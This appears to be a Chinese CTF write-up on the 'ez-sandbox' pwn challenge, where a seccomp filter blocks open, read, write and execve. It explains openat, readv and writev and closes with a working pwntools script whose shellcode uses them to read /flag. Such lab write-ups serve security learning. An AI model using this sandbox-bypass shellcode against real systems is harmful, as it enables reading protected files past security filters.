当前位置: 首页 > article >正文

CTF-PWN: 在ORW受限情况手写code [第二届CN-fnst::CTF ez-sandbox] 赛后学习笔记

step1 先看代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+0h] [rbp-10h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  buf = mmap(0LL, 0x100uLL, 7, 34, -1, 0LL);
  if ( buf == (void *)-1LL )
  {
    perror("mmap failed");
    exit(1);
  }
  puts("input shellcode: ");
  read(0, buf, 0xC8uLL);
  setup_seccomp();
  ((void (*)(void))buf)();
  if ( munmap(buf, 0x100uLL) == -1 )
    perror("munmap failed");
  return 0;
}

再看保护

 ~/Desktop/pwn/file/file                                           at 02:43:43 
❯ seccomp-tools dump ./pwn
input shellcode: 
sss
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x05 0xffffffff  if (A != 0xffffffff) goto 0010
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

ORW全禁

利用

O


openat 是一个在 C 语言中用于打开文件的系统调用,它是 POSIX 标准的一部分。openat 提供了一种相对路径的方式来打开文件,尤其是在处理目录文件描述符时非常有用。这使得在多线程或多进程环境中可以避免一些常见的安全问题,比如路径遍历攻击。

函数原型

#include <fcntl.h>

int openat(int dirfd, const char *pathname, int flags, ...);

参数说明

  • dirfd: 这是一个文件描述符,代表一个打开的目录。如果 pathname 是一个相对路径,openat 将在 dirfd 指向的目录中查找该路径。如果 pathname 是绝对路径,则 dirfd 将被忽略。

  • pathname: 这是要打开的文件的路径,可以是相对路径或绝对路径。

  • flags: 用于指定打开文件的方式,比如读、写、创建等。常用的标志包括:

    • O_RDONLY: 只读打开。
    • O_WRONLY: 只写打开。
    • O_RDWR: 读写打开。
    • O_CREAT: 如果文件不存在则创建它。
    • O_EXCL: 与 O_CREAT 一起使用,确保文件是新创建的。
    • O_TRUNC: 如果文件已存在并且是以写入模式打开,则将其截断为零长度。
  • ...: 可选参数,用于指定文件的权限,仅在使用 O_CREAT 标志时需要提供,通常是一个 mode_t 类型的值,用于设置新创建文件的权限。

返回值

  • 成功时,返回新打开文件的文件描述符(非负整数)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

R


readv 是一个用于从文件描述符中读取数据的系统调用,属于 POSIX 标准。它允许一次读取多个缓冲区的内容,提供了一种高效的方式来处理 I/O 操作,特别是在需要从文件中读取分散的数据时。

函数原型

#include <sys/uio.h>
#include <unistd.h>

ssize_t readv(int fd, const struct iovec *iov, int iovcnt);

参数说明

  • fd: 要读取的文件描述符。这个文件描述符可以是一个常规文件、socket、管道等。

  • iov: 指向 iovec 结构体数组的指针。iovec 结构体定义了一个缓冲区,其中包含要读取数据的地址和大小。

  • iovcnt: 表示 iovec 数组中的元素数量,也就是有多少个缓冲区。

iovec 结构体

iovec 结构体通常定义如下:

struct iovec {
    void  *iov_base; // 指向缓冲区的指针
    size_t iov_len;  // 缓冲区的大小
};

每个 iovec 结构体描述一个缓冲区,iov_base 指向缓冲区的起始地址,iov_len 是缓冲区的大小。

返回值

  • 成功时,返回实际读取的字节数(可能小于请求的总字节数),如果返回 0,则表示已到达文件末尾(EOF)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

使用示例

下面是一个使用 readv 的简单示例,演示如何从文件中读取数据到多个缓冲区:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>

int main() {
    int fd = open("example.txt", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // 定义两个缓冲区
    char buf1[20];
    char buf2[30];

    // 定义 iovec 结构体数组
    struct iovec iov[2];
    iov[0].iov_base = buf1;
    iov[0].iov_len = sizeof(buf1);
    iov[1].iov_base = buf2;
    iov[1].iov_len = sizeof(buf2);

    // 使用 readv 读取数据
    ssize_t nread = readv(fd, iov, 2);
    if (nread < 0) {
        perror("readv");
        close(fd);
        return 1;
    }

    printf("Read %zd bytes:\n", nread);
    printf("Buffer 1: %.*s\n", (int)iov[0].iov_len, (char *)iov[0].iov_base);
    printf("Buffer 2: %.*s\n", (int)iov[1].iov_len, (char *)iov[1].iov_base);

    close(fd);
    return 0;
}

应用场景

  • 高效 I/O: 使用 readv 可以减少系统调用的次数,特别在需要从同一个文件描述符读取多个缓冲区时,可以一次性完成,而不需要多次调用 read
  • 网络编程: 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,readv 和其对应的 writev 可以提高效率。
  • 数据聚集: 当需要从不同的源读取数据并将其聚集到多个缓冲区时,readv 提供了方便的接口。

W


writev 是一个用于将数据写入文件描述符的系统调用,属于 POSIX 标准。与 readv 类似,writev 允许一次将多个缓冲区的数据写入到同一个文件描述符中,这种方法在需要高效处理多个数据块时非常有用。

函数原型

#include <sys/uio.h>
#include <unistd.h>

ssize_t writev(int fd, const struct iovec *iov, int iovcnt);

参数说明

  • fd: 要写入的文件描述符。这个文件描述符可以是文件、socket、管道等。

  • iov: 指向 iovec 结构体数组的指针。每个 iovec 结构体描述一个缓冲区,其中包含要写入数据的地址和大小。

  • iovcnt: 表示 iovec 数组中的元素数量,也就是有多少个缓冲区。

iovec 结构体

iovec 结构体通常定义如下:

struct iovec {
    void  *iov_base; // 指向缓冲区的指针
    size_t iov_len;  // 缓冲区的大小
};

每个 iovec 结构体包括一个指向缓冲区的指针和该缓冲区的字节长度。

返回值

  • 成功时,返回实际写入的字节数(可能小于请求的总字节数)。
  • 失败时,返回 -1,并设置 errno 以指示错误原因。

使用示例

下面是一个使用 writev 的简单示例,演示如何将数据从多个缓冲区写入文件:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>

int main() {
    int fd = open("output.txt", O_WRONLY | O_CREAT | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    // 定义两个缓冲区
    const char *buf1 = "Hello, ";
    const char *buf2 = "world!\n";

    // 定义 iovec 结构体数组
    struct iovec iov[2];
    iov[0].iov_base = (void *)buf1;
    iov[0].iov_len = strlen(buf1);
    iov[1].iov_base = (void *)buf2;
    iov[1].iov_len = strlen(buf2);

    // 使用 writev 写入数据
    ssize_t nwritten = writev(fd, iov, 2);
    if (nwritten < 0) {
        perror("writev");
        close(fd);
        return 1;
    }

    printf("Wrote %zd bytes to the file.\n", nwritten);

    close(fd);
    return 0;
}

应用场景

  • 高效 I/O: 使用 writev 可以减少系统调用的次数,特别是在需要将多个缓冲区的数据写入同一个文件描述符时,可以一次性完成,而不需要多次调用 write
  • 网络编程: 在网络编程中,发送和接收数据时常常需要处理多个缓冲区,writev 和其对应的 readv 可以提高效率。
  • 日志和数据聚集: 将多个日志消息或数据块聚集到一个写操作中,可以减少上下文切换和系统调用开销。

step 4

from pwn import *  
from libs import *  
  
io = FastPwn('amd64')  
io.gdb_b(0xb96)  
io.gdb_run('./file/pwn')  
  
# o  
shellcode = shellcraft.pushstr('/flag')  
# fd = openat(-100, '/flag', 0, 0)  
shellcode += """  
mov rdi, -100  
mov rsi, rsp  
mov rdx, 0  
mov r10, 0  
mov r8, 0  
mov rax, 0x101  
syscall  
"""  
  
# R  
# 先伪装结构体  
# readv(fd, fake_iovec, 1)  
"""  
struct iovec {  
    void  *iov_base; // 指向缓冲区的指针  
    size_t iov_len;  // 缓冲区的大小  
};  
"""  
  
shellcode += """  
mov r9, rsp  
add r9, 100  
mov qword ptr [rsp], r9  
mov qword ptr [rsp+8], 100  
"""  
  
shellcode += """  
mov rdi, rax  
mov rsi, rsp  
mov rdx, 1  
mov rax, 19  
syscall  
"""  
  
# W  
# si依然指向fd,仅需更改输出寄存器为标准输出
# writev(fd, fake_iovec, 1)  
shellcode += """  
mov edi, 1  
mov rax, 20  
syscall  
"""  
  
shellcode = asm(shellcode)  
  
io.sl(shellcode)  
io.ia()

http://www.kler.cn/a/443933.html

相关文章:

  • springmvc的拦截器,全局异常处理和文件上传
  • LLaMA-Factory 单卡3080*2 deepspeed zero3 微调Qwen2.5-7B-Instruct
  • 回归预测 | MATLAB实现CNN-BiGRU-Attention卷积神经网络结合双向门控循环单元融合注意力机制多输入单输出回归预测
  • go-zero(十四)实践:缓存一致性保证、缓存击穿、缓存穿透与缓存雪崩解决方案
  • 使用 esrally race 测试 Elasticsearch 性能:实践指南
  • LeetCode刷题day29——动态规划(完全背包)
  • 【Leetcode 每日一题 - 扩展】45. 跳跃游戏 II
  • 超标量处理器设计笔记(11)发射内容:分配、仲裁、唤醒
  • WEB开发: 全栈工程师起步 - Python Flask +SQLite的管理系统实现
  • 作业Day4: 链表函数封装 ; 思维导图
  • opencv所有常见函数
  • 医院药学的创新引擎:ChatGPT的应用与思考
  • GM_T 0039《密码模块安全检测要求》题目
  • 第R3周:RNN-心脏病预测
  • 基于Qt的登陆界面设计
  • MybatisPlus(四)
  • ubuntu下gdb调试ROS
  • 【C++算法】47.分治_归并_排序数组
  • 云原生周刊:Kubernetes v1.32 正式发布
  • apache应用(客户机地址限制、用户授权限制、日志分割、AWStats日志分析)
  • 【Apache Paimon】-- 10 -- Paimon 0.9.0 集成 Hive 3.1.3
  • python学习 洛谷P2141 [NOIP2014 普及组] 珠心算测验
  • Java操作Redis-Jedis
  • 高德地图离线加载解决方案(内网部署)+本地地图瓦片加载
  • []2024年第五届蓝桥杯全国软件和信息技术专业人才大赛(Web 应用开发)
  • c++中如何保持结构体的线程安全?3D坐标的线程安全:从理论到最优解